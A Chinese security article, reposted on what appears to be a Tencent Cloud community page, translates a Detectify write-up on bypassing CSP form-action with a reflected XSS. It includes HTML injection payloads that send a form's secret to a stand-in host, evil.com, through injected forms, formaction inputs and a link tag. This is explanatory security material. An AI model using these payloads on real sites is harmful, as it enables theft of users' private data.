专栏首页农夫安全优秀文章 | 利用反射型XSS二次注入绕过CSP form-action限制

优秀文章 | 利用反射型XSS二次注入绕过CSP form-action限制

利用反射型XSS二次注入绕过CSP form-action限制

0x01 简单介绍

CSP(Content-Security-Policy)是为了缓解XSS而存在的一种策略, 开发者可以设置一些规则来限制页面可以加载的内容.那文本中所说的form-action又是干啥的呢?用他可以限制form标签"action"属性的指向页面, 这样可以防止攻击者通过XSS修改表单的"action"属性,偷取用户的一些隐私信息.

0x02 实例分析

面讲的太抽象了, 如果不想看的话可以直接跳过....具体一点, 现在使用的是chrome浏览器, 假设下面这个secret.html是可能被XSS攻击的

//XSS在这里, victim.com/secret.html?xss=xss <form method="POST" id='subscribe' action='oo.html'> <input name='secret' value='xiao_mi_mi'/> //小秘密

如果这个站点没有CSP, 攻击者可以直接通过XSS修改

<form method="POST" action='http://evil.com/wo_de_mi_mi.php'>   //我的秘密

当用户傻傻地进行"正常'操作时,小秘密已经悄然变成攻击者的秘密了.然后,有一个管理员试图用CSP防止这个问题, 他使用白名单策略限制外部JS的加载并且不允许内联脚本, 好像安全性高了一点.

攻击者想了下, 把页面改成下面这个样子

<div><form action='http://evil.com/wo_de_mi_mi.php'></div>
<form method='POST' id='subscribe' action='oo.html'>

在原本的form之前又加了一个form标签, 这个新的form标签没有闭合,并且直接碰到了老form标签, 这个时候会发生什么呢?

老form标签就这样消失了! 所以攻击者再次把用户的小秘密发送到了自己的服务器上, 而且这时本来应该是POST的secret因为老form标签的消失现在变成了GET发送, 请求变成了下面这样.

这下管理员郁闷了, 最后索性用CSP加上了form-action来白名单限定form标签的action指向, 那么这样是否还会出现问题呢?

一起来回顾一下, 现在有一个不能执行JS的反射型XSS和一个只能往白名单域名(当然没有攻击者域名...)指向的form标签.

原secret.html

// XSS位置, victim.com/secret.html?xss=xss <form method="POST" id='subscribe' action='oo.html'> <input name='secret' value='xiao_mi_mi'/>

最后攻击者的改过的页面如下

<input value='ByPass CSP' type='submit' form='subscribe' formaction='' formmethod='GET' />
<input type='hidden' name='xss' form='subscribe' value="<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>">
// XSS, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'>
<input type='hidden' name='secret' value='xiao_mi_mi'/>
</form>

这里有几处tricky的地方, 整个代码的步骤如下

  1. input标签的form/formmethod/formaction将老form POST到oo.html的secret变成GET发送到secret.html即当前页面.
  2. 跳转后仍处于secret.html因此该页面的XSS还可以被二次利用注入恶意标签, 这里又利用第二个input标签增加GET请求的xss参数, 所以跳转之后的URL变为
http://victim.com/secret.html?secret=xiao_mi_mi&xss=<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>

此时secret.html再次触发XSS, 被攻击者加入下面标签

<link rel='subresource' href='

http://evil.com/wo_de_mi_mi.php'>

正是最后这个link标签泄露了本该POST发送的secret, 攻击者通过利用一个反射型XSS将CSP的form-action绕过.

0x03 最后

CSP能够从某种程度上限制XSS, 对网站的防护是很有益义的. 不过相比国外经常能够看到相关的讨论,国内CSP的推进和热度却是比较不尽人意的, 同时关于CSP也有很多有意思的安全点, 特此翻译出来以供大家学习和参考.

原文链接:

https://labs.detectify.com/2016/04/04/csp-bypassing-form-action-with-reflected-xss/

本文转自wooyun镜像站,由农夫安全负责排版发布。我们尊重每一位原创作者,文章内容仅用于技术分享,如有侵权可联系编辑删除。

本文分享自微信公众号 - 网络安全社区悦信安(yuexin_an)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-11-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 信息安全面试题---(渗透测试工程师-1)

    前言 本帖提供一些渗透测试工程师面试基础题目,有需要的小伙伴可以收藏 1.拿到一个待检测的站,你觉得应该先做什么? 0x01 面试题目 · 收集信息 whoi...

    用户1467662
  • 大家好,给大家介绍一下,这是linux运维安全之SSH安全

    SSH一般用途 提供shell,解决telnet不安全的传输 1、修改默认ssh默认端口 vi /etc/ssh/sshd_config 修改之后重启 >sys...

    用户1467662
  • 暴力破解-H3C路由器-MSR900

    所暴力破解的设备信息 华三路由器 设备型号 MSR900 软件版本 CMW520-R2311 所用到的工具 Firefox浏览器及其插件Proxy Sw...

    用户1467662
  • 知新 | koa框架入门到熟练第二章

    [wp_editor_md_211ccaf408f127f491c28c16e945e4cd.jpg]

    mySoul
  • 四种为HttpClient添加默认请求报头的解决方案

    HttpClient在Web调用中具有广泛的应用,而为它添加默认请求头是我们经常遇到的需求,本文介绍4种为HttpClient添加默认请求头的方式。

    蒋金楠
  • node web模块 (服务器端和客户端)

    web服务器指网站服务器,指驻留在因特网上的某种程序,web浏览器的基本功能,提供信息浏览服务

    mySoul
  • 有哪些实用且堪称神器的Chrome插件?吐血推荐!!!

    相信很多人都在使用 Chrome 浏览器,其流畅的浏览体验得到了不少用户的偏爱,但流畅只是一方面, Chrome 最大的优势还是其支持众多强大好用的扩展程序(E...

    谭庆波
  • 堪称神器的Chrome插件

    相信很多人都在使用 Chrome 浏览器,其流畅的浏览体验得到了不少用户的偏爱,但流畅只是一方面, Chrome 最大的优势还是其支持众多强大好用的扩展程序(E...

    爱撸猫的杰
  • 用好这 42 款 Chrome 插件,每年轻松给你省出一个年假!

    相信很多人都在使用 Chrome 浏览器,其流畅的浏览体验得到了不少用户的偏爱,但流畅只是一方面, Chrome 最大的优势还是其支持众多强大好用的扩展程序(E...

    GitHubDaily
  • 用好这 42 款 Chrome 插件,每年轻松省出一个年假

    相信很多人都在使用 Chrome 浏览器,其流畅的浏览体验得到了不少用户的偏爱,但流畅只是一方面, Chrome 最大的优势还是其支持众多强大好用的扩展程序(E...

    zhisheng

扫码关注云+社区

领取腾讯云代金券